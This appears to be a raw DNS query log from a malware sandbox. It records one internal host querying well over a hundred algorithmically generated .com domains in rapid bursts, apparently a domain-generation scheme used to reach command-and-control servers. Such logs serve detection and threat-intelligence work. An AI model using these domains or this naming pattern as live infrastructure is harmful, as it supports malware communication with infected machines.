                                                                                                                                                                                                          Aug 23, 2024 18:43:05.937593937 CEST192.168.2.51.1.1.10x360eStandard query (0)gatyzys.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:05.937731981 CEST192.168.2.51.1.1.10xea8fStandard query (0)lyvymir.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:05.937900066 CEST192.168.2.51.1.1.10xa366Standard query (0)vojydam.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:05.938103914 CEST192.168.2.51.1.1.10x8b4cStandard query (0)qetylyv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:05.938265085 CEST192.168.2.51.1.1.10x585cStandard query (0)puvymul.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:05.938334942 CEST192.168.2.51.1.1.10x62d1Standard query (0)gahydoh.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:05.938487053 CEST192.168.2.51.1.1.10x5b12Standard query (0)lyryled.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:05.938658953 CEST192.168.2.51.1.1.10xbdaeStandard query (0)vocymut.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:05.938915014 CEST192.168.2.51.1.1.10x9187Standard query (0)qegysoq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:05.939352989 CEST192.168.2.51.1.1.10x1406Standard query (0)gacynuz.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:05.939479113 CEST192.168.2.51.1.1.10xdc4aStandard query (0)purylev.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:05.939904928 CEST192.168.2.51.1.1.10xb6d7Standard query (0)lygysij.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:05.940624952 CEST192.168.2.51.1.1.10xf67bStandard query (0)pufypiq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:05.940664053 CEST192.168.2.51.1.1.10x6d21Standard query (0)vowykaf.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:05.940886021 CEST192.168.2.51.1.1.10x8d7cStandard query (0)qexynyp.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:05.941073895 CEST192.168.2.51.1.1.10xf2fdStandard query (0)gaqykab.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:05.941448927 CEST192.168.2.51.1.1.10xfda4Standard query (0)gaqyreh.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:05.941502094 CEST192.168.2.51.1.1.10xf293Standard query (0)lyxynyx.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:06.138880014 CEST192.168.2.51.1.1.10xa9e8Standard query (0)galynuh.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:06.215157032 CEST192.168.2.51.1.1.10xcb9aStandard query (0)gadyciz.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:06.307332039 CEST192.168.2.51.1.1.10x8150Standard query (0)lyxynyx.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:06.376097918 CEST192.168.2.51.1.1.10xed46Standard query (0)qexyhuv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:06.379307032 CEST192.168.2.51.1.1.10xa040Standard query (0)vofycot.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:06.390331030 CEST192.168.2.51.1.1.10xf7c1Standard query (0)qegyval.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:07.280024052 CEST192.168.2.51.1.1.10x75d6Standard query (0)ww25.lyxynyx.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:07.473026037 CEST192.168.2.51.1.1.10xd8d0Standard query (0)ww16.vofycot.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:27.754394054 CEST192.168.2.51.1.1.10x7980Standard query (0)vofypuk.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:27.755290985 CEST192.168.2.51.1.1.10xb6bbStandard query (0)qeqykog.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:27.756052971 CEST192.168.2.51.1.1.10x6c00Standard query (0)puzybep.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:27.756603003 CEST192.168.2.51.1.1.10x3e1aStandard query (0)gadypuw.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:27.756628036 CEST192.168.2.51.1.1.10x4ff0Standard query (0)lymyjon.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:27.757203102 CEST192.168.2.51.1.1.10x89fdStandard query (0)volybec.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:27.757242918 CEST192.168.2.51.1.1.10xcaafStandard query (0)qedytul.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:27.757683039 CEST192.168.2.51.1.1.10x7d42Standard query (0)pumyjig.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:27.757719994 CEST192.168.2.51.1.1.10x9501Standard query (0)galyvas.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:27.758208990 CEST192.168.2.51.1.1.10xe5a0Standard query (0)lysytyr.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:27.758503914 CEST192.168.2.51.1.1.10xc9abStandard query (0)qekyvav.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:27.758577108 CEST192.168.2.51.1.1.10xe91fStandard query (0)vonyjim.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:27.759017944 CEST192.168.2.51.1.1.10x1804Standard query (0)pupytyl.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:27.759469986 CEST192.168.2.51.1.1.10xa70dStandard query (0)lykyvod.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:27.759530067 CEST192.168.2.51.1.1.10xbff2Standard query (0)ganyhuh.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:27.759900093 CEST192.168.2.51.1.1.10xb61aStandard query (0)vopyret.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:27.760351896 CEST192.168.2.51.1.1.10x9d10Standard query (0)gatyrez.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:27.760406971 CEST192.168.2.51.1.1.10x5222Standard query (0)pujycov.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:27.760837078 CEST192.168.2.51.1.1.10x7f72Standard query (0)lyvyguj.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:27.760870934 CEST192.168.2.51.1.1.10x9cafStandard query (0)vojycif.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:27.761420012 CEST192.168.2.51.1.1.10x5e7dStandard query (0)qetyrap.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:27.761550903 CEST192.168.2.51.1.1.10x54ceStandard query (0)puvygyq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:27.762053967 CEST192.168.2.51.1.1.10x636eStandard query (0)lyrywax.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:27.762379885 CEST192.168.2.51.1.1.10xd035Standard query (0)vocygyk.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:27.762453079 CEST192.168.2.51.1.1.10xb843Standard query (0)gahycib.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:27.762847900 CEST192.168.2.51.1.1.10x1d07Standard query (0)qegyxug.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:27.762904882 CEST192.168.2.51.1.1.10x8f2fStandard query (0)purywop.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:27.763428926 CEST192.168.2.51.1.1.10x42aaStandard query (0)gacyfew.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:27.763752937 CEST192.168.2.51.1.1.10x4d2dStandard query (0)vowyqoc.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:27.763853073 CEST192.168.2.51.1.1.10xa87dStandard query (0)lygyxun.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:27.764173985 CEST192.168.2.51.1.1.10xe7a6Standard query (0)qexyfel.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:27.764632940 CEST192.168.2.51.1.1.10x15f7Standard query (0)pufyxug.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:27.764992952 CEST192.168.2.51.1.1.10x525aStandard query (0)gaqyqis.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:27.765005112 CEST192.168.2.51.1.1.10x4ef5Standard query (0)lyxyfar.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:27.765178919 CEST192.168.2.51.1.1.10x6db9Standard query (0)vofyzym.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:27.766597986 CEST192.168.2.51.1.1.10xb358Standard query (0)qeqyqiv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:27.767991066 CEST192.168.2.51.1.1.10xd236Standard query (0)qebyhuq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:27.768023014 CEST192.168.2.51.1.1.10xdfc9Standard query (0)gadyzyh.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:27.768220901 CEST192.168.2.51.1.1.10x1419Standard query (0)puzydal.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:27.768248081 CEST192.168.2.51.1.1.10xccb3Standard query (0)lymymud.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:27.768532991 CEST192.168.2.51.1.1.10x216aStandard query (0)volydot.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:27.768784046 CEST192.168.2.51.1.1.10xb3b9Standard query (0)qedyleq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:27.768902063 CEST192.168.2.51.1.1.10x8c79Standard query (0)pumymuv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:27.768984079 CEST192.168.2.51.1.1.10x308fStandard query (0)galydoz.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:27.769145012 CEST192.168.2.51.1.1.10x883bStandard query (0)qekysip.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:27.769211054 CEST192.168.2.51.1.1.10xbc3eStandard query (0)vonymuf.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:27.769361019 CEST192.168.2.51.1.1.10xf8b3Standard query (0)pupylaq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:27.769539118 CEST192.168.2.51.1.1.10x9615Standard query (0)ganynyb.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:27.769539118 CEST192.168.2.51.1.1.10x8a5dStandard query (0)lykysix.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:27.769619942 CEST192.168.2.51.1.1.10x2934Standard query (0)vopykak.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:27.769725084 CEST192.168.2.51.1.1.10x65d2Standard query (0)qebynyg.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:27.769814968 CEST192.168.2.51.1.1.10x3f0aStandard query (0)pujypup.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:27.769942999 CEST192.168.2.51.1.1.10xbfc7Standard query (0)gatykow.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:27.770055056 CEST192.168.2.51.1.1.10x2acaStandard query (0)vojypuc.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:27.770253897 CEST192.168.2.51.1.1.10x7c45Standard query (0)lyvynen.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:27.770551920 CEST192.168.2.51.1.1.10xe51eStandard query (0)qetykol.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:27.770638943 CEST192.168.2.51.1.1.10xc3b0Standard query (0)gahypus.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:27.770778894 CEST192.168.2.51.1.1.10xd89bStandard query (0)puvybeg.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:27.770828009 CEST192.168.2.51.1.1.10x7d78Standard query (0)lyryjir.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:27.771018028 CEST192.168.2.51.1.1.10xe80Standard query (0)vocybam.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:27.771034956 CEST192.168.2.51.1.1.10x7e6bStandard query (0)qegytyv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:27.771284103 CEST192.168.2.51.1.1.10x8067Standard query (0)gacyvah.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:27.771284103 CEST192.168.2.51.1.1.10x5a88Standard query (0)puryjil.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:27.771483898 CEST192.168.2.51.1.1.10xd244Standard query (0)lysylej.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:27.937071085 CEST192.168.2.51.1.1.10x7e93Standard query (0)lygytyd.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:27.938343048 CEST192.168.2.51.1.1.10xe1f8Standard query (0)vowyjut.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:27.939555883 CEST192.168.2.51.1.1.10xc891Standard query (0)qexyvoq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:27.941822052 CEST192.168.2.51.1.1.10x6f71Standard query (0)pufytev.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:27.942936897 CEST192.168.2.51.1.1.10x4badStandard query (0)gaqyhuz.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:27.943789959 CEST192.168.2.51.1.1.10x3857Standard query (0)vofyref.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:27.943937063 CEST192.168.2.51.1.1.10xe886Standard query (0)lyxyvoj.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:27.944366932 CEST192.168.2.51.1.1.10x2b03Standard query (0)puzyciq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:27.945055962 CEST192.168.2.51.1.1.10x9272Standard query (0)gadyrab.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:27.945105076 CEST192.168.2.51.1.1.10xdb23Standard query (0)lymygyx.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:27.945797920 CEST192.168.2.51.1.1.10x70c3Standard query (0)volycik.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:27.945872068 CEST192.168.2.51.1.1.10xdb9fStandard query (0)qedyrag.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:27.946568012 CEST192.168.2.51.1.1.10x7cd1Standard query (0)pumygyp.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:27.946871996 CEST192.168.2.51.1.1.10xa351Standard query (0)galycuw.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:27.947484970 CEST192.168.2.51.1.1.10x7c33Standard query (0)lysywon.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:27.947844982 CEST192.168.2.51.1.1.10xfd6fStandard query (0)vonygec.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:27.948422909 CEST192.168.2.51.1.1.10x5e9eStandard query (0)pupywog.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:27.948548079 CEST192.168.2.51.1.1.10xa5bdStandard query (0)qekyxul.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:27.949323893 CEST192.168.2.51.1.1.10xf8ebStandard query (0)ganyfes.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:27.949336052 CEST192.168.2.51.1.1.10x985aStandard query (0)lykyxur.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:27.949979067 CEST192.168.2.51.1.1.10xe844Standard query (0)vopyqim.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:27.950545073 CEST192.168.2.51.1.1.10x2d8fStandard query (0)pujyxyl.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:27.950701952 CEST192.168.2.51.1.1.10x12efStandard query (0)qebyfav.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:27.951400042 CEST192.168.2.51.1.1.10xe3cfStandard query (0)vojyzyt.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:27.957992077 CEST192.168.2.51.1.1.10xe6b8Standard query (0)qeqyhup.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:27.958545923 CEST192.168.2.51.1.1.10x70a5Standard query (0)gatyqih.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:27.958970070 CEST192.168.2.51.1.1.10x6212Standard query (0)lyvyfad.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:27.959295988 CEST192.168.2.51.1.1.10x4cc3Standard query (0)qetyquq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:27.959605932 CEST192.168.2.51.1.1.10xebfbStandard query (0)puvydov.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:27.960095882 CEST192.168.2.51.1.1.10x83f3Standard query (0)lyrymuj.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:27.960422993 CEST192.168.2.51.1.1.10xc35bStandard query (0)vocydof.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:27.960705996 CEST192.168.2.51.1.1.10x7620Standard query (0)gahyzez.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:27.962457895 CEST192.168.2.51.1.1.10x416bStandard query (0)qegylep.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:27.963648081 CEST192.168.2.51.1.1.10x2ca7Standard query (0)purymuq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:27.964015007 CEST192.168.2.51.1.1.10xbd07Standard query (0)gacydib.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:27.964327097 CEST192.168.2.51.1.1.10x5f06Standard query (0)lygylax.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:27.964849949 CEST192.168.2.51.1.1.10x33aStandard query (0)vowymyk.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:27.965249062 CEST192.168.2.51.1.1.10xd20Standard query (0)pufylap.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:27.965528965 CEST192.168.2.51.1.1.10x822dStandard query (0)qexysig.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:27.966301918 CEST192.168.2.51.1.1.10x476aStandard query (0)gaqynyw.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:27.966721058 CEST192.168.2.51.1.1.10xbcStandard query (0)lyxysun.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:27.967428923 CEST192.168.2.51.1.1.10xd972Standard query (0)vofykoc.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:27.967809916 CEST192.168.2.51.1.1.10xee26Standard query (0)qeqynel.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:27.968827009 CEST192.168.2.51.1.1.10x386aStandard query (0)puzypug.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:27.969647884 CEST192.168.2.51.1.1.10xb3f4Standard query (0)gadykos.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:27.970314026 CEST192.168.2.51.1.1.10x8956Standard query (0)lymyner.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:27.970874071 CEST192.168.2.51.1.1.10xf8acStandard query (0)volypum.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:27.971225977 CEST192.168.2.51.1.1.10xcb15Standard query (0)qedykiv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:27.972527981 CEST192.168.2.51.1.1.10xc6bfStandard query (0)galypyh.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:27.972745895 CEST192.168.2.51.1.1.10xfe33Standard query (0)pumybal.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:27.973125935 CEST192.168.2.51.1.1.10x30Standard query (0)lysyjid.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:27.973403931 CEST192.168.2.51.1.1.10x2888Standard query (0)vonybat.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:27.974486113 CEST192.168.2.51.1.1.10x283cStandard query (0)qekytyq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:27.974877119 CEST192.168.2.51.1.1.10x52e9Standard query (0)pupyjuv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:27.975244999 CEST192.168.2.51.1.1.10x3730Standard query (0)ganyvoz.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:27.975521088 CEST192.168.2.51.1.1.10x27eaStandard query (0)lykytej.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:27.975946903 CEST192.168.2.51.1.1.10xca4Standard query (0)vopyjuf.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:27.976325035 CEST192.168.2.51.1.1.10x9e4dStandard query (0)qebyvop.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:27.976639986 CEST192.168.2.51.1.1.10x68b8Standard query (0)pujyteq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:27.976942062 CEST192.168.2.51.1.1.10xaeceStandard query (0)lyvyvix.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:27.978209972 CEST192.168.2.51.1.1.10xc3f8Standard query (0)gatyhub.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:27.978627920 CEST192.168.2.51.1.1.10x15b7Standard query (0)vojyrak.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:27.979192972 CEST192.168.2.51.1.1.10x80cdStandard query (0)qetyhyg.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:27.979576111 CEST192.168.2.51.1.1.10x4d79Standard query (0)puvycip.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:28.043961048 CEST192.168.2.51.1.1.10x52a7Standard query (0)qetyhyg.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:28.291472912 CEST192.168.2.51.1.1.10x20bbStandard query (0)gatyhub.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:29.706053019 CEST192.168.2.51.1.1.10xf99cStandard query (0)gahyraw.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:29.706629992 CEST192.168.2.51.1.1.10x307eStandard query (0)lyrygyn.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:29.707161903 CEST192.168.2.51.1.1.10x1250Standard query (0)vocycuc.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:29.707683086 CEST192.168.2.51.1.1.10x508eStandard query (0)qegyrol.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:29.708098888 CEST192.168.2.51.1.1.10x77aaStandard query (0)purygeg.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:29.708347082 CEST192.168.2.51.1.1.10x48caStandard query (0)lygywor.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:29.708395958 CEST192.168.2.51.1.1.10x7e58Standard query (0)vowygem.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:29.708817959 CEST192.168.2.51.1.1.10x623fStandard query (0)gacycus.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:29.709062099 CEST192.168.2.51.1.1.10xda6Standard query (0)qexyxuv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:29.709076881 CEST192.168.2.51.1.1.10x9c7eStandard query (0)pufywil.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:29.709750891 CEST192.168.2.51.1.1.10xcbc9Standard query (0)gaqyfah.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:29.709917068 CEST192.168.2.51.1.1.10x4670Standard query (0)qeqyfaq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:29.709990978 CEST192.168.2.51.1.1.10x6da7Standard query (0)puzyxyv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:29.710479975 CEST192.168.2.51.1.1.10x6a9cStandard query (0)lymyfoj.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:29.710949898 CEST192.168.2.51.1.1.10x16e4Standard query (0)gadyquz.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:29.710949898 CEST192.168.2.51.1.1.10x3abStandard query (0)volyzef.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:29.710949898 CEST192.168.2.51.1.1.10x70acStandard query (0)qedyqup.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:29.711368084 CEST192.168.2.51.1.1.10xb06bStandard query (0)pumydoq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:29.711617947 CEST192.168.2.51.1.1.10xc2d3Standard query (0)lysymux.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:29.711648941 CEST192.168.2.51.1.1.10xdab4Standard query (0)galyzeb.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:29.712127924 CEST192.168.2.51.1.1.10xb49cStandard query (0)qekylag.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:29.712140083 CEST192.168.2.51.1.1.10x93c7Standard query (0)vonydik.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:29.712549925 CEST192.168.2.51.1.1.10xda18Standard query (0)pupymyp.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:29.712563992 CEST192.168.2.51.1.1.10x5f54Standard query (0)ganydiw.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:29.713049889 CEST192.168.2.51.1.1.10x2690Standard query (0)lykylan.comA (IP address)IN (0x0001)false
